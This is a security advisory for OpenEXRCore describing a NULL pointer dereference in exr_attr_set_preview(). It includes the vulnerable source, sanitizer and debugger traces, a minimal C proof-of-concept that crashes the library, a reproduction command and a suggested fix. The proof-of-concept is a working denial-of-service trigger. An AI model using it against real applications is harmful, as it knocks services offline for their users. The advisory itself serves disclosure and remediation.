Skip to content

GHSA-29q6-4p2c-77qq

CVE Information

Summary

OpenEXRCore has a NULL pointer dereference in exr_attr_set_preview() when a caller supplies a nonzero preview size with rgba == NULL.

The public setter validates the top-level exr_attr_preview_t * value, but it does not validate the nested rgba pointer. When width * height * 4 is nonzero, exr_attr_preview_create() allocates the destination preview buffer and then calls memcpy() with the caller-provided rgba pointer as the source.

This is reachable through the public OpenEXRCore C API and causes a deterministic crash / denial of service. I have not confirmed RCE or direct trigger from a crafted EXR file through the standard file loading path.

Details

Affected code:

src/lib/OpenEXRCore/part_attr.c
src/lib/OpenEXRCore/preview.c

The public setter checks only the top-level preview pointer:

exr_result_t
exr_attr_set_preview (
    exr_context_t             ctxt,
    int                       part_index,
    const char*               name,
    const exr_attr_preview_t* val)
{
    ...

    if (!val)
        return EXR_UNLOCK_AND_RETURN (ctxt->print_error (...));

    ...

    if (rv == EXR_ERR_SUCCESS)
        rv = exr_attr_preview_create (
            ctxt, attr->preview, val->width, val->height, val->rgba);
}

Location on tested main:

src/lib/OpenEXRCore/part_attr.c:1876-1918

The nested pointer is later copied without a NULL check:

exr_result_t
exr_attr_preview_create (
    exr_context_t       ctxt,
    exr_attr_preview_t* p,
    uint32_t            w,
    uint32_t            h,
    const uint8_t*      d)
{
    exr_result_t rv = exr_attr_preview_init (ctxt, p, w, h);
    if (rv == EXR_ERR_SUCCESS)
    {
        size_t copybytes = w * h * 4;
        if (copybytes > 0)
            memcpy (EXR_CONST_CAST (uint8_t*, p->rgba), d, copybytes);
    }
    return rv;
}

Location on tested main:

src/lib/OpenEXRCore/preview.c:55-70

Triggering state from the PoC:

preview.width      = 1
preview.height     = 1
preview.alloc_size = 0
preview.rgba       = NULL
copybytes          = 1 * 1 * 4 = 4

Because copybytes > 0, exr_attr_preview_create() calls:

memcpy(destination, NULL, 4);

Observed ASAN/UBSAN output on latest main commit b25f9dc9af78d662eb45969e9e1cd395082d1f13:

src/lib/OpenEXRCore/preview.c:67:57:
runtime error: null pointer passed as argument 2, which is declared to never be null

#0 exr_attr_preview_create
   src/lib/OpenEXRCore/preview.c:67:13
#1 exr_attr_set_preview
   src/lib/OpenEXRCore/part_attr.c
#2 main
   afl-findings/poc/poc_core_preview_null_rgba.c:40:12

Observed GDB stack on the same commit with UBSAN recovery enabled:

Program received signal SIGSEGV, Segmentation fault.
__memcpy_avx_unaligned_erms_rtm()

#0 __memcpy_avx_unaligned_erms_rtm()
#1 __asan_memcpy()
#2 exr_attr_preview_create(
       ctxt=0x516000000080,
       p=<optimized out>,
       w=<optimized out>,
       h=<optimized out>,
       d=0x0)
   at src/lib/OpenEXRCore/preview.c:67
#3 exr_attr_set_preview(...)
   at src/lib/OpenEXRCore/part_attr.c:1957
#4 main()
   at afl-findings/poc/poc_core_preview_null_rgba.c:40

The same vulnerable source pattern is present in at least:

v3.2.9
v3.3.11
v3.4.12
current main: b25f9dc9af78d662eb45969e9e1cd395082d1f13

PoC

Minimal C reproducer:

#include <openexr.h>

#include <stdint.h>
#include <unistd.h>

static void
ignore_error (exr_const_context_t ctxt, exr_result_t code, const char* msg)
{
    (void) ctxt;
    (void) code;
    (void) msg;
}

int
main (void)
{
    exr_context_t             ctxt = NULL;
    exr_context_initializer_t init = EXR_DEFAULT_CONTEXT_INITIALIZER;
    int                       part = -1;
    const char*               path = "/tmp/openexr_core_preview_null_rgba.exr";

    init.error_handler_fn = ignore_error;

    if (exr_start_write (&ctxt, path, EXR_WRITE_FILE_DIRECTLY, &init) !=
        EXR_ERR_SUCCESS)
        return 1;
    if (exr_add_part (ctxt, "p", EXR_STORAGE_SCANLINE, &part) !=
        EXR_ERR_SUCCESS)
        return 1;

    exr_attr_preview_t preview;
    preview.width      = 1;
    preview.height     = 1;
    preview.alloc_size = 0;
    preview.rgba       = NULL;

    (void) exr_attr_set_preview (ctxt, part, "badPreview", &preview);

    (void) exr_finish (&ctxt);
    unlink (path);
    return 0;
}

Reproduction command on the latest-main validation build:

ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:halt_on_error=1:symbolize=1 \
UBSAN_OPTIONS=halt_on_error=1:abort_on_error=1:print_stacktrace=1 \
  /root/openexr_latest_check/openexr-main/latest-check/bin/poc_core_preview_null_rgba

Expected result:

runtime error: null pointer passed as argument 2
SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior

With UBSAN recovery enabled, the same PoC continues to the actual crash:

ERROR: AddressSanitizer: SEGV
SUMMARY: AddressSanitizer: SEGV in __memcpy_avx_unaligned_erms_rtm

Saved evidence:

evidence/afl-findings/poc/poc_core_preview_null_rgba.c
evidence/afl-findings/poc/poc_core_preview_null_rgba.san.out
evidence/afl-findings/poc/poc_core_preview_null_rgba.recover.out
evidence/latest-main-check/logs/poc_core_preview_null_rgba.run.out
evidence/latest-main-check/logs/poc_core_preview_null_rgba.gdb_latest_main.txt

Impact

This is a public C API NULL pointer dereference / crash in OpenEXRCore.

Applications that call exr_attr_set_preview() with untrusted or insufficiently validated preview attribute data can be crashed by a preview with nonzero dimensions and rgba == NULL.

Confirmed impact:

availability loss
process crash
public C API denial of service

Not confirmed:

remote code execution
information disclosure
memory corruption beyond the NULL-source crash
direct crafted .exr file trigger through the standard reader path

Suggested severity:

Moderate

Suggested CWE:

CWE-476: NULL Pointer Dereference
CWE-20: Improper Input Validation

Suggested fix:

Reject rgba == NULL whenever width * height * 4 > 0 before calling exr_attr_preview_create() or memcpy().